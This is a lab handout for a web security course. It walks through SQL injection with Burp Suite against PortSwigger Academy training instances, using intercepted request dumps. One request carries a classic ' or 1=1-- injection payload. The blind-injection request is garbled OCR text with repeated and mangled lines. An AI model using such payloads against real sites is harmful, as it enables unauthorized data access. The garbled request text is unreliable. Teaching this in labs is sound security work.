Lab 3 - SQL Injection with Burp Suite

Tasks

1. Retrieving hidden data

• Before you execute the injection on the proxy (i.e., click on **Forward**), take a screenshot of the content of the injection that is displayed on the proxy. (Please do your own work!)

```
Request to https://ac361f671f596a79c0b3191c002f004f.web-security-academy.ne
    Forward
                      Drop
                                    Intercept is on
                                                        Action
       Raw
             Hex
Pretty
1 GET /filter ?category =Gifts*27*20or*201=1--
2 Host: ac361f671f596a79c0b3191c002f004f.web-security-academy.net
3 Cookie: session = 3aSqVqPTAmrsoaDdDtgUVlfztogy7Qwd
4 Sec-Ch-Ua : "(Not(A:Brand"; v="8",
                                         "Chromium"; v="98"
5 Sec-Ch-Ua-Mobile : ?0
6 Sec-Ch-Ua-Platform : "Windows"
7 Upgrade-Insecure-Requests
```

• Take a screenshot of the outcome like below. (Please do your own work!)



Gifts' or 1=1 --

2. Blind SQL injection

• Before you execute the injection on the proxy (i.e., click on **Forward**), take a screenshot of the content of the injection that is displayed on the proxy. The following does not have an injection yet.

```
Premty Raw Hex

| GET / filter/category=Corporate+gifts HTTP/2
| Host: @abb@95c@3433122845e2eal@84e@83c.web-security-academy.net
| GET / filter/category=Corporate+gifts HTTP/2
| Host: @abb@95c@3433122845e2eal@84e@83c.web-security-academy.net
| GET / filter/category=Corporate+gifts HTTP/2
| Host: @abb@95c@3433122845e2eal@84e@83c.web-security-academy.net
| GET / filter/category=Corporate+gifts HTTP/2
| GET / filter/category=Corporate+gifts HTTP/2
| Accept-Language: en-Us.en;em.9.9|
| GET / GET /
```

• Take a screenshot of the outcome like below.



Blind SQL injection with time delay

Back to lab description »

Congratulations, you solved the lab!